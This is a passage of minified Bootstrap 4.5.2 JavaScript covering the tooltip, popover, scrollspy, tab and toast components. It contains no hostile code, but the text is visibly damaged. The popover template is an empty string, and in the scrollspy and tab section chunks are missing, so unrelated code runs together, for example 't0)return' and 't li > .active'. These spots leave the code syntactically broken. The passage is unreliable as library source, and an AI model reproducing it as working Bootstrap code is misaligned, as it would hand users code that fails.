e.offsets=s({},e.offsets,t.config.offset(e.offsets,t.element)||{}),e}:e.offset=this.config.offset,e},i._getContainer=function(){return!1===this.config.container?document.body:a.isElement(this.config.container)?e(this.config.container):e(document).find(this.config.container)},i._getAttachment=function(t){return V[t.toUpperCase()]},i._setListeners=function(){var t=this;this.config.trigger.split(" ").forEach((function(n){if("click"===n)e(t.element).on(t.constructor.Event.CLICK,t.config.selector,(function(e){return t.toggle(e)}));else if("manual"!==n){var i="hover"===n?t.constructor.Event.MOUSEENTER:t.constructor.Event.FOCUSIN,o="hover"===n?t.constructor.Event.MOUSELEAVE:t.constructor.Event.FOCUSOUT;e(t.element).on(i,t.config.selector,(function(e){return t._enter(e)})).on(o,t.config.selector,(function(e){return t._leave(e)}))}})),this._hideModalHandler=function(){t.element&&t.hide()},e(this.element).closest(".modal").on("hide.bs.modal",this._hideModalHandler),this.config.selector?this.config=s({},this.config,{trigger:"manual",selector:""}):this._fixTitle()},i._fixTitle=function(){var t=typeof this.element.getAttribute("data-original-title");(this.element.getAttribute("title")||"string"!==t)&&(this.element.setAttribute("data-original-title",this.element.getAttribute("title")||""),this.element.setAttribute("title",""))},i._enter=function(t,n){var i=this.constructor.DATA_KEY;(n=n||e(t.currentTarget).data(i))||(n=new this.constructor(t.currentTarget,this._getDelegateConfig()),e(t.currentTarget).data(i,n)),t&&(n._activeTrigger["focusin"===t.type?"focus":"hover"]=!0),e(n.getTipElement()).hasClass("show")||"show"===n._hoverState?n._hoverState="show":(clearTimeout(n._timeout),n._hoverState="show",n.config.delay&&n.config.delay.show?n._timeout=setTimeout((function(){"show"===n._hoverState&&n.show()}),n.config.delay.show):n.show())},i._leave=function(t,n){var i=this.constructor.DATA_KEY;(n=n||e(t.currentTarget).data(i))||(n=new this.constructor(t.currentTarget,this._getDelegateConfig()),e(t.currentTarget).data(i,n)),t&&(n._activeTrigger["focusout"===t.type?"focus":"hover"]=!1),n._isWithActiveTrigger()||(clearTimeout(n._timeout),n._hoverState="out",n.config.delay&&n.config.delay.hide?n._timeout=setTimeout((function(){"out"===n._hoverState&&n.hide()}),n.config.delay.hide):n.hide())},i._isWithActiveTrigger=function(){for(var t in this._activeTrigger)if(this._activeTrigger[t])return!0;return!1},i._getConfig=function(t){var n=e(this.element).data();return Object.keys(n).forEach((function(t){-1!==M.indexOf(t)&&delete n[t]})),"number"==typeof(t=s({},this.constructor.Default,n,"object"==typeof t&&t?t:{})).delay&&(t.delay={show:t.delay,hide:t.delay}),"number"==typeof t.title&&(t.title=t.title.toString()),"number"==typeof t.content&&(t.content=t.content.toString()),a.typeCheckConfig(B,t,this.constructor.DefaultType),t.sanitize&&(t.template=Q(t.template,t.whiteList,t.sanitizeFn)),t},i._getDelegateConfig=function(){var t={};if(this.config)for(var e in this.config)this.constructor.Default[e]!==this.config[e]&&(t[e]=this.config[e]);return t},i._cleanTipClass=function(){var t=e(this.getTipElement()),n=t.attr("class").match(U);null!==n&&n.length&&t.removeClass(n.join(""))},i._handlePopperPlacementChange=function(t){this.tip=t.instance.popper,this._cleanTipClass(),this.addAttachmentClass(this._getAttachment(t.placement))},i._fixTransition=function(){var t=this.getTipElement(),n=this.config.animation;null===t.getAttribute("x-placement")&&(e(t).removeClass("fade"),this.config.animation=!1,this.hide(),this.show(),this.config.animation=n)},t._jQueryInterface=function(n){return this.each((function(){var i=e(this).data("bs.tooltip"),o="object"==typeof n&&n;if((i||!/dispose|hide/.test(n))&&(i||(i=new t(this,o),e(this).data("bs.tooltip",i)),"string"==typeof n)){if("undefined"==typeof i[n])throw new TypeError('No method named "'+n+'"');i[n]()}}))},o(t,null,[{key:"VERSION",get:function(){return"4.5.2"}},{key:"Default",get:function(){return z}},{key:"NAME",get:function(){return B}},{key:"DATA_KEY",get:function(){return"bs.tooltip"}},{key:"Event",get:function(){return K}},{key:"EVENT_KEY",get:function(){return".bs.tooltip"}},{key:"DefaultType",get:function(){return W}}]),t}();e.fn[B]=X._jQueryInterface,e.fn[B].Constructor=X,e.fn[B].noConflict=function(){return e.fn[B]=H,X._jQueryInterface};var Y="popover",$=e.fn[Y],J=new RegExp("(^|\\s)bs-popover\\S+","g"),G=s({},X.Default,{placement:"right",trigger:"click",content:"",template:''}),Z=s({},X.DefaultType,{content:"(string|element|function)"}),tt={HIDE:"hide.bs.popover",HIDDEN:"hidden.bs.popover",SHOW:"show.bs.popover",SHOWN:"shown.bs.popover",INSERTED:"inserted.bs.popover",CLICK:"click.bs.popover",FOCUSIN:"focusin.bs.popover",FOCUSOUT:"focusout.bs.popover",MOUSEENTER:"mouseenter.bs.popover",MOUSELEAVE:"mouseleave.bs.popover"},et=function(t){var n,i;function s(){return t.apply(this,arguments)||this}i=t,(n=s).prototype=Object.create(i.prototype),n.prototype.constructor=n,n.__proto__=i;var r=s.prototype;return r.isWithContent=function(){return this.getTitle()||this._getContent()},r.addAttachmentClass=function(t){e(this.getTipElement()).addClass("bs-popover-"+t)},r.getTipElement=function(){return this.tip=this.tip||e(this.config.template)[0],this.tip},r.setContent=function(){var t=e(this.getTipElement());this.setElementContent(t.find(".popover-header"),this.getTitle());var n=this._getContent();"function"==typeof n&&(n=n.call(this.element)),this.setElementContent(t.find(".popover-body"),n),t.removeClass("fade show")},r._getContent=function(){return this.element.getAttribute("data-content")||this.config.content},r._cleanTipClass=function(){var t=e(this.getTipElement()),n=t.attr("class").match(J);null!==n&&n.length>0&&t.removeClass(n.join(""))},s._jQueryInterface=function(t){return this.each((function(){var n=e(this).data("bs.popover"),i="object"==typeof t?t:null;if((n||!/dispose|hide/.test(t))&&(n||(n=new s(this,i),e(this).data("bs.popover",n)),"string"==typeof t)){if("undefined"==typeof n[t])throw new TypeError('No method named "'+t+'"');n[t]()}}))},o(s,null,[{key:"VERSION",get:function(){return"4.5.2"}},{key:"Default",get:function(){return G}},{key:"NAME",get:function(){return Y}},{key:"DATA_KEY",get:function(){return"bs.popover"}},{key:"Event",get:function(){return tt}},{key:"EVENT_KEY",get:function(){return".bs.popover"}},{key:"DefaultType",get:function(){return Z}}]),s}(X);e.fn[Y]=et._jQueryInterface,e.fn[Y].Constructor=et,e.fn[Y].noConflict=function(){return e.fn[Y]=$,et._jQueryInterface};var nt="scrollspy",it=e.fn[nt],ot={offset:10,method:"auto",target:""},st={offset:"number",method:"string",target:"(string|element)"},rt=function(){function t(t,n){var i=this;this._element=t,this._scrollElement="BODY"===t.tagName?window:t,this._config=this._getConfig(n),this._selector=this._config.target+" .nav-link,"+this._config.target+" .list-group-item,"+this._config.target+" .dropdown-item",this._offsets=[],this._targets=[],this._activeTarget=null,this._scrollHeight=0,e(this._scrollElement).on("scroll.bs.scrollspy",(function(t){return i._process(t)})),this.refresh(),this._process()}var n=t.prototype;return n.refresh=function(){var t=this,n=this._scrollElement===this._scrollElement.window?"offset":"position",i="auto"===this._config.method?n:this._config.method,o="position"===i?this._getScrollTop():0;this._offsets=[],this._targets=[],this._scrollHeight=this._getScrollHeight(),[].slice.call(document.querySelectorAll(this._selector)).map((function(t){var n,s=a.getSelectorFromElement(t);if(s&&(n=document.querySelector(s)),n){var r=n.getBoundingClientRect();if(r.width||r.height)return[e(n)[i]().top+o,s]}return null})).filter((function(t){return t})).sort((function(t,e){return t[0]-e[0]})).forEach((function(e){t._offsets.push(e[0]),t._targets.push(e[1])}))},n.dispose=function(){e.removeData(this._element,"bs.scrollspy"),e(this._scrollElement).off(".bs.scrollspy"),this._element=null,this._scrollElement=null,this._config=null,this._selector=null,this._offsets=null,this._targets=null,this._activeTarget=null,this._scrollHeight=null},n._getConfig=function(t){if("string"!=typeof(t=s({},ot,"object"==typeof t&&t?t:{})).target&&a.isElement(t.target)){var n=e(t.target).attr("id");n||(n=a.getUID(nt),e(t.target).attr("id",n)),t.target="#"+n}return a.typeCheckConfig(nt,t,st),t},n._getScrollTop=function(){return this._scrollElement===window?this._scrollElement.pageYOffset:this._scrollElement.scrollTop},n._getScrollHeight=function(){return this._scrollElement.scrollHeight||Math.max(document.body.scrollHeight,document.documentElement.scrollHeight)},n._getOffsetHeight=function(){return this._scrollElement===window?window.innerHeight:this._scrollElement.getBoundingClientRect().height},n._process=function(){var t=this._getScrollTop()+this._config.offset,e=this._getScrollHeight(),n=this._config.offset+e-this._getOffsetHeight();if(this._scrollHeight!==e&&this.refresh(),t>=n){var i=this._targets[this._targets.length-1];this._activeTarget!==i&&this._activate(i)}else{if(this._activeTarget&&t0)return this._activeTarget=null,void this._clear();for(var o=this._offsets.length;o--;){this._activeTarget!==this._targets[o]&&t>=this._offsets[o]&&("undefined"==typeof this._offsets[o+1]||t li > .active":".active";i=(i=e.makeArray(e(o).find(r)))[i.length-1]}var l=e.Event("hide.bs.tab",{relatedTarget:this._element}),c=e.Event("show.bs.tab",{relatedTarget:i});if(i&&e(i).trigger(l),e(this._element).trigger(c),!c.isDefaultPrevented()&&!l.isDefaultPrevented()){s&&(n=document.querySelector(s)),this._activate(this._element,o);var h=function(){var n=e.Event("hidden.bs.tab",{relatedTarget:t._element}),o=e.Event("shown.bs.tab",{relatedTarget:i});e(i).trigger(n),e(t._element).trigger(o)};n?this._activate(n,n.parentNode,h):h()}}},n.dispose=function(){e.removeData(this._element,"bs.tab"),this._element=null},n._activate=function(t,n,i){var o=this,s=(!n||"UL"!==n.nodeName&&"OL"!==n.nodeName?e(n).children(".active"):e(n).find("> li > .active"))[0],r=i&&s&&e(s).hasClass("fade"),l=function(){return o._transitionComplete(t,s,i)};if(s&&r){var c=a.getTransitionDurationFromElement(s);e(s).removeClass("show").one(a.TRANSITION_END,l).emulateTransitionEnd(c)}else l()},n._transitionComplete=function(t,n,i){if(n){e(n).removeClass("active");var o=e(n.parentNode).find("> .dropdown-menu .active")[0];o&&e(o).removeClass("active"),"tab"===n.getAttribute("role")&&n.setAttribute("aria-selected",!1)}if(e(t).addClass("active"),"tab"===t.getAttribute("role")&&t.setAttribute("aria-selected",!0),a.reflow(t),t.classList.contains("fade")&&t.classList.add("show"),t.parentNode&&e(t.parentNode).hasClass("dropdown-menu")){var s=e(t).closest(".dropdown")[0];if(s){var r=[].slice.call(s.querySelectorAll(".dropdown-toggle"));e(r).addClass("active")}t.setAttribute("aria-expanded",!0)}i&&i()},t._jQueryInterface=function(n){return this.each((function(){var i=e(this),o=i.data("bs.tab");if(o||(o=new t(this),i.data("bs.tab",o)),"string"==typeof n){if("undefined"==typeof o[n])throw new TypeError('No method named "'+n+'"');o[n]()}}))},o(t,null,[{key:"VERSION",get:function(){return"4.5.2"}}]),t}();e(document).on("click.bs.tab.data-api",'[data-toggle="tab"], [data-toggle="pill"], [data-toggle="list"]',(function(t){t.preventDefault(),lt._jQueryInterface.call(e(this),"show")})),e.fn.tab=lt._jQueryInterface,e.fn.tab.Constructor=lt,e.fn.tab.noConflict=function(){return e.fn.tab=at,lt._jQueryInterface};var ct=e.fn.toast,ht={animation:"boolean",autohide:"boolean",delay:"number"},ut={animation:!0,autohide:!0,delay:500},dt=function(){function t(t,e){this._element=t,this._config=this._getConfig(e),this._timeout=null,this._setListeners()}var n=t.prototype;return n.show=function(){var t=this,n=e.Event("show.bs.toast");if(e(this._element).trigger(n),!n.isDefaultPrevented()){this._clearTimeout(),this._config.animation&&this._element.classList.add("fade");var i=function(){t._element.classList.remove("showing"),t._element.classList.add("show"),e(t._element).trigger("shown.bs.toast"),t._config.autohide&&(t._timeout=setTimeout((function(){t.hide()}),t._config.delay))};if(this._element.classList.remove("hide"),a.reflow(this._element),this._element.classList.add("showing"),this._config.animation){var o=a.getTransitionDurationFromElement(this._element);e(this._element).one(a.TRANSITION_END,i).emulateTransitionEnd(o)}else i()}},n.hide=function(){if(this._element.classList.contains("show")){var t=e.Event("hide.bs.toast");e(this._element).trigger(t),t.isDefaultPrevented()||this._close()}},n.dispose=function(){this._clearTimeout(),this._element.classList.contains("show")&&this._element.classList.remove("show"),e(this._element).off("click.dismiss.bs.toast"),e.removeData(this._element,"bs.toast"),this._element=null,this._config=null},n._getConfig=function(t){return t=s({},ut,e(this._element).data(),"object"==typeof t&&t?t:{}),a.typeCheckConfig("toast",t,this.constructor.DefaultType),t},n._setListeners=function(){var t=this;e(this._element).on("click.dismiss.bs.toast",'[data-dismiss="toast"]',(function(){return t.hide()}))},n._close=function(){var t=this,n=function(){t._element.classList.add("hide"),e(t._element).trigger("hidden.bs.toast")};if(this._element.classList.remove("show"),this._config.animation){var i=a.getTransitionDurationFromElement(this._element);e(this._element).one(a.TRANSITION_END,n).emulateTransitionEnd(i)}else n()},n._clearTimeout=function(){clearTimeout(this._timeout),this._timeout=null},t._jQueryInterface=function(n){return this.each((function(){var i=e(this),o=i.data("bs.toast");if(o||(o=new t(this,"object"==typeof n&&n),i.data("bs.toast",o)),"string"==typeof n){if("undefined"==typeof o[n])throw new TypeError('No method named "'+n+'"');o[n](this)}}))},o(t,null,[{key:"VERSION",get:function(){return"4.5.2"}},{key:"DefaultType",get:function(){return ht}},{key:"Default",get:function(){return ut}}]),t}();e.fn.toast=dt._jQueryInterface,e.fn.toast.Constructor=dt,e.fn.toast.noConflict=function(){return e.fn.toast=ct,dt._jQueryInterface},t.Alert=h,t.Button=d,t.Carousel=b,t.Collapse=C,t.Dropdown=I,t.Modal=P,t.Popover=et,t.Scrollspy=rt,t.Tab=lt,t.Toast=dt,t.Tooltip=X,t.Util=a,Object.defineProperty(t,"__esModule",{value:!0})}));
7 | //# sourceMappingURL=bootstrap.min.js.map
--------------------------------------------------------------------------------